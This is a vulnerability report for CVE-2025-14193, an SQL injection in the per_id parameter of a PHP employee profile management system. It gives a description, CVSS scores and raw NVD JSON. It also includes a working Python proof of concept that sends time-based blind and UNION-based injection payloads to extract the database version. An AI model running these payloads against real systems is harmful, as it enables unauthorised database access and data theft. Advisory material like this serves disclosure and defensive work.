Security Vulnerability Report
中文
CVE-2025-14193 CVSS 6.3 MEDIUM

CVE-2025-14193

Published: 2025-12-07 14:15:47
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in code-projects Employee Profile Management System 1.0. This vulnerability affects unknown code of the file /view_personnel.php. Executing a manipulation of the argument per_id can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:carmelogarcia:employee_profile_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Employee Profile Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14193 PoC - Employee Profile Management System SQL Injection # Target: /view_personnel.php?per_id=[SQL Injection Payload] import requests import sys def test_sqli(target_url): """Test for SQL injection vulnerability""" # Normal request (baseline) normal_url = f"{target_url}/view_personnel.php?per_id=1" # Time-based blind SQL injection payload # If vulnerable, the response will be delayed by ~5 seconds sqli_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" sqli_url = f"{target_url}/view_personnel.php?per_id={sqli_payload}" print(f"[*] Testing target: {target_url}") print(f"[*] Normal request URL: {normal_url}") try: # Send normal request print("\n[+] Sending normal request...") response1 = requests.get(normal_url, timeout=10) print(f"[+] Status code: {response1.status_code}") # Send SQL injection request print("\n[+] Sending SQL injection payload...") import time start = time.time() response2 = requests.get(sqli_url, timeout=30) elapsed = time.time() - start print(f"[+] Status code: {response2.status_code}") print(f"[+] Response time: {elapsed:.2f} seconds") # Verify vulnerability if elapsed >= 5: print("\n[!] VULNERABLE: Time-based SQL injection confirmed!") print(f"[!] Response was delayed by {elapsed:.2f} seconds") return True else: print("\n[-] Not vulnerable or target not reachable") return False except requests.exceptions.Timeout: print("\n[!] VULNERABLE: Request timed out (possible SQL injection)") return True except Exception as e: print(f"\n[-] Error: {str(e)}") return False def extract_data(target_url): """Extract database information using SQL injection""" # Database version extraction payload_version = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--" url = f"{target_url}/view_personnel.php?per_id={payload_version}" print(f"\n[*] Extracting database version...") print(f"[*] Payload: {payload_version}") try: response = requests.get(url, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[+] Database version detected in response") except Exception as e: print(f"[-] Error extracting data: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14193_poc.py <target_url>") print("Example: python cve-2025-14193_poc.py http://localhost/employee_management") sys.exit(1) target = sys.argv[1].rstrip('/') vulnerable = test_sqli(target) if vulnerable: extract_data(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14193", "sourceIdentifier": "[email protected]", "published": "2025-12-07T14:15:47.143", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in code-projects Employee Profile Management System 1.0. This vulnerability affects unknown code of the file /view_personnel.php. Executing a manipulation of the argument per_id can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelogarcia:employee_profile_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "68758D37-72B5-4B1E-B3BA-0A0AF03657C3"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shenxianyuguitian/employee-management-SQL", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.334613", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.334613", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.699245", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}